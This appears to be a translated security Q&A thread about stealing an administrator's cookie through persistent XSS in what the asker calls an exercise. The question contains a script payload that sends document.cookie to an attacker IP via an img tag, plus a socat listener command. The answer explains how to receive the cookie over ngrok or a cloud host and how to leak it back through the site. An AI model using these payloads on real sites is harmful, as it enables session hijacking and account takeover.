¿Cómo obtener una cookie de administración con Persistent XSS?

0

Dos partes de esta pregunta.

  1. Digamos que hay un sitio que acepta mi entrada y la envía en formato XML al servidor. Cuando ingreso la entrada como se muestra aquí: enlace

La razón por la que puse el código en el enlace anterior es porque no puedo insertar el código aquí. No se formatea correctamente.

Agrega una nueva línea en la respuesta de la página HTML:

<script language="Javascript" type="text/javascript">alert ('XSS')</script>rn

Incluso recibo una ventana emergente y JavaScript se ejecuta correctamente.

Entonces, según tengo entendido, ¿la página es vulnerable a XSS persistente? Dado que esas entradas son persistentes en la página web y cada vez que recargo la página web, el javascript es parte de la respuesta HTML.

  1. Ahora, quiero robar la cookie de administración (esto es parte de un ejercicio donde el servidor es remoto). No es una red de área local.

Construí mi carga útil como se muestra a continuación:

<![CDATA[rn
    <script language="Javascript" type="text/javascript">document.write('<img src="http://<ip_address>/?'+document.cookie+' "/>');</script>rn
    ]]>

Aquí, dirección_IP es mi dirección IP local (tal como la devuelve ifconfig).

Ejecuto socat en mi máquina local como se muestra a continuación:

socat TCP-LISTEN:80,reuseaddr,fork -

Ahora, mi pregunta es, ¿cómo puedo recibir la cookie de administración usando el método anterior?

Porque el servidor es remoto. Cuando el administrador visita la página con XSS persistente, ¿cómo se me enviará la cookie del administrador?

¿Debo proporcionar mi dirección IP pública en la URL de la imagen anterior en lugar de la dirección IP local?

    
pregunta Neon Flash 15.12.2018 - 05:08
fuente

1 respuesta

1

Para obtener la cookie de otro usuario a través de javascript, parece que necesitas las siguientes condiciones para mantener la verdad:

  • la cookie no se configura con HttpOnly (de lo contrario, el navegador denegará el acceso de JS a la cookie) o puede obtener un keylogger basado en JS en la página de inicio de sesión y no se usa MFA.
  • puede hacer que el XSS se ejecute en algún lugar donde se encuentre un usuario administrador
  • y cualquiera de las dos:
    1. tiene un host resoluble al que se puede enviar la cookie. Si se trata de una aplicación pública de Internet y no está en la misma red, puede usar una máquina personal expuesta a través de algo como ngrok o algún otro host que sea accesible públicamente como un servidor AWS / GCP / Azure expuesto
      • y CORS está habilitado para que el navegador no bloquee una solicitud x-domain / usas una forma de omitir SOP como a través de la etiqueta img en tu ejemplo. o
    2. puede idear algunos medios para filtrar la cookie a través del servidor que aloja el sitio. Esto podría lograrse haciendo que el usuario administrador publique su cookie de nuevo en el sitio donde pueda encontrarla / extraerla del servidor HTML procesado (como un campo oculto en una publicación del foro o algo así).
respondido por el Orphid 15.12.2018 - 08:46
fuente

Lea otras preguntas en las etiquetas